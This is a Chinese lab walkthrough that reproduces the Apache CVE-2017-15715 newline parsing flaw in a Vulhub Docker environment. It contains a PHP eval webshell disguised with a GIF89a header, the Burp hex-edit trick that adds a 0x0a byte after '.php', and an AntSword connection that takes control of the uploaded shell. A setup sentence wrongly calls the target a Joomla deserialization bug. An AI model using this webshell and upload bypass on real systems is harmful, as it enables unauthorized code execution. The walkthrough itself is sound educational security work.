目录
[1、确保系统已安装 Docker 和 Docker-Compose](#1、确保系统已安装 Docker 和 Docker-Compose)
[2、下载 Vulhub](#2、下载 Vulhub)
[三、vulhub CVE-渗透](#三、vulhub CVE-渗透)
[4、bp设置inception on](#4、bp设置inception on)
本文详细分析Apache HTTP服务器中的CVE-2017-15715漏洞,该漏洞存在于2.4.0到2.4.29版本中,允许攻击者通过换行符绕过安全限制上传恶意PHP文件。文章首先介绍漏洞原理,随后详细描述了使用Vulhub搭建漏洞测试环境的过程,包括Docker环境的配置和启动。最后通过实际渗透测试演示了漏洞利用方法:构造特殊命名的PHP文件(包含换行符%0a),利用Burp Suite修改请求绕过检测,,成功上传webshell并用蚁剑连接控制服务器。整个过程完整呈现了从环境搭建到漏洞利用的全流程。
一、CVE-2017-15715
1、漏洞简介
CVE-2017-15715 是 Apache HTTP 服务器(版本 2.4.0 到 2.4.29 )中的换行解析漏洞,它允许攻击者通过精心构造的文件名绕过安全限制,上传并执行恶意代码。
-
CVE 编号:CVE-2017-15715
-
漏洞类型:解析漏洞
-
影响组件 :Apache HTTP 服务器(特别是与
mod_php
模块结合用于运行 PHP 网页时)。 -
受影响版本 :Apache HTTPD 2.4.0 到 2.4.29 版本。
-
不受影响版本:Apache HTTPD 2.4.30 及之后版本已修复此漏洞。
-
根本原因 :Apache 在配置中使用正则表达式匹配 PHP 文件后缀时(通常是
\.php$
),$
元字符在某些配置下不仅匹配字符串结尾,还可能匹配换行符(\x0A
) 。这意味着一个名为example.php\x0A
的文件可能会被 Apache 当作 PHP 文件解析,从而绕过一些基于后缀名的安全检测
2、漏洞原理
Apache 通过 FilesMatch
指令(例如 <FilesMatch \.php$>
)来识别 PHP 文件,并交给 mod_php
处理。这里的 $
在正则表达式中表示字符串的结束位置。
-
然而,如果
RegExp
对象的Multiline
属性被设置,$
也可以匹配换行符(\n
或\r
)。 -
攻击者可以利用这一点,在上传文件时,在文件名中的
.php
后面插入一个换行符(%0a
) ,例如将文件命名为shell.php%0a
。 -
后端的上传检测逻辑(如使用
basename()
或pathinfo()
函数获取文件名并进行校验)可能因为不处理或去除换行符 而认为该文件后缀合法(例如认为是.txt
或其他非黑名单后缀),从而允许上传。 -
但 Apache 在解析时,由于
$
匹配了换行符,仍会将shell.php%0a
识别为 PHP 文件并执行其中的代码
二、环境搭建
1、确保系统已安装 Docker 和 Docker-Compose
本文使用Vulhub复现Joomla反序列化漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。
# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker
2、下载 Vulhub
将 Vulhub 项目克隆到本地,具体命令如下所示。
git clone https://github.com/vulhub/vulhub.git
cd vulhub
3、进入漏洞环境
Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。
# 进入 apache CVE-2017-15715的漏洞环境目录
cd apache/CVE-2017-15715

4、启动漏洞环境
在apache/CVE-2017-15715目录下,使用 docker-compose 命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器。
└─# docker-compose up -d
/usr/lib/python3/dist-packages/paramiko/transport.py:219: CryptographyDeprecationWarning: Blowfish has been deprecated and will be removed in a future release
"class": algorithms.Blowfish,
Creating network "cve-2017-15715_default" with the default driver
Building apache
Sending build context to Docker daemon 155.6kB
Step 1/4 : FROM vulhub/php:5.5-apache
5.5-apache: Pulling from vulhub/php
357ea8c3d80b: Pull complete
85537f80f73d: Pull complete
3d821ad560e1: Pull complete
b4ae91aad522: Pull complete
66e1c1a53c95: Pull complete
5d1f306a8912: Pull complete
37733078a51e: Pull complete
c5351b4d6bee: Pull complete
4f946c4dcbe2: Pull complete
0c48c69d4b11: Pull complete
dbc71ed1796a: Pull complete
9c6d026ad711: Pull complete
3fced1e5eb8f: Pull complete
Digest: sha256:fc96e065114c01c6fdecc2fc73a14421fdbe9db0eb481aaebce98f4f4f9c4b5b
Status: Downloaded newer image for vulhub/php:5.5-apache
---> bc9c24ed3e6d
Step 2/4 : LABEL maintainer="phithon <root@leavesongs.com>"
---> Running in 5a00c5a89de9
Removing intermediate container 5a00c5a89de9
---> abb153024fb1
Step 3/4 : COPY index.php /var/www/html/
---> 47b9b3afa1e4
Step 4/4 : RUN chown www-data:www-data -R /var/www/html
---> Running in f5319022edde
Removing intermediate container f5319022edde
---> 06d76f8c76fa
Successfully built 06d76f8c76fa
Successfully tagged cve-2017-15715_apache:latest
WARNING: Image for service apache was built because it did not already exist. To rebuild this image you must use `docker-compose build` or `docker-compose up --build`.
Creating cve-2017-15715_apache_1 ... done
命令执行后,Docker 会完成拉取一个包含 cve-2017-15715_apache(受影响版本)的镜像。
5、查看环境状态
使用 docker ps 命令确认容器启动状态,如下所示从返回结果中的容器名称cve-2017-15715_apache可以立即判断,这个环境即为cve-2017-15715的漏洞环境。
┌──(root㉿kali)-[/home/kali/vulhub-master/httpd/CVE-2017-15715]
└─# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
d07dc7997c1c cve-2017-15715_apache "apache2-foreground" 10 minutes ago Up 10 minutes 0.0.0.0:8080->80/tcp, :::8080->80/tcp cve-2017-15715_apache_1
列名 | 值 | 含义解释 |
---|---|---|
CONTAINER ID | d07dc7997c1c |
正在运行的Docker容器的唯一标识符(完整ID的缩写)。 |
IMAGE | cve-2017-15715_apache |
容器所使用的镜像名称。这个镜像是Vulhub专门为复现CVE-2017-15715漏洞而构建的,内部运行着一个存在漏洞的Apache服务器。 |
COMMAND | "apache2-foreground" |
容器启动时运行的命令。这里是启动Apache服务器并以前台模式运行,这是Web服务器容器的典型命令。 |
CREATED | 10 minutes ago |
容器是在10分钟前创建的。 |
STATUS | Up 10 minutes |
最重要信息之一 。容器当前的状态是"Up"(正在运行),且已经运行了10分钟。这说明漏洞环境正在正常运作。 |
PORTS | 0.0.0.0:8080->80/tcp |
最关键的信息 。这表示Docker进行了端口映射 。 - 0.0.0.0:8080 :宿主机的所有网络接口(Kali Linux)上的8080端口 。 - 80/tcp :容器内部Apache服务器监听的80端口 。 含义 :所有发送到你Kali机器8080端口 的网络流量,都会被自动转发到容器内部的80端口(即那个有漏洞的Apache服务器)。 |
NAMES | cve-2017-15715_apache_1 |
容器的名称,由Docker Compose自动生成,基于目录名和服务的名称。 |
6、环境角色
靶机的ip与端口为192.168.59.128和8080,渗透环境的角色具体如下所示。
|------|----------------|--------|--------|
| | ip | os | 应用 |
| 靶机 | 192.168.59.128 | Docker | Apache |
| 攻击主机 | 192.168.59.128 | kali | msf |
三、vulhub CVE-渗透
1、攻击机访问web页面
如下所示,这是一个文件上传的页面,完整URL地址如下所示。
http://192.168.59.128:8080

2、构造脚本
新建一个存放着一句话木马的php文件,脚本名为mooyuan.php。这个脚本的特点是在木马脚本的首部添加GIF89a,文件内容开头为 GIF89a,使脚本满足GIF格式的文件头签名。脚本执行时输出"mooyuan",实际核心是@eval($_POST['ljn']),该代码允许攻击者通过向该文件发送包含ljn参数的POST请求来远程执行任意****PHP 命令 。
GIF89a
<?php
echo "mooyuan";
@eval($_POST['ljn']);
?>
3、尝试上传
尝试上次mooyuan.php,提示bad file。


4、bp设置inception on

5、再次上传脚本
将filename改为mooyuan.php,点击上传。

6、bp抓包
点击上传后bp抓包,如下所示,将上图红框内部的【mooyuan.php】修改为【mooyuan.phpa】,即文件名后缀增加一个a,这样做是a的16进制为61,为方便找到将其改为0a。

7、修改报文
(1)后缀增加a
在php的尾部增加a,修改后如下所示。

(2)定位61
在Hex对应的16进制编辑找到mooyuan.phpa对应的16进制内容,定位a对应的16进制61。

(3)修改为0a
将61修改为0a,确定修改好后,点击发送,如下所示。

8、 上传成功
查看网页,效果如下,没有提示上传失败。

进入docker中查看是否上传成功,如下所示已经上传成功。

9、 访问脚本
构建脚本URL地址,脚本名称为mooyuan.php%0a,脚本在网址根目录,故而URL如下所示。
http://192.168.59.128:8080/mooyuan.php%0a
POST数据:ljn=phpinfo();

10、 连接蚁剑
使用蚁剑连接木马,配置如下所示,点击测试连接提示连接成功,点击左上角的添加。
http://192.168.59.128:8080/mooyuan.php%0a
密码ljn

连接成功后效果如下所示,右键文件操作进入文件管理界面。

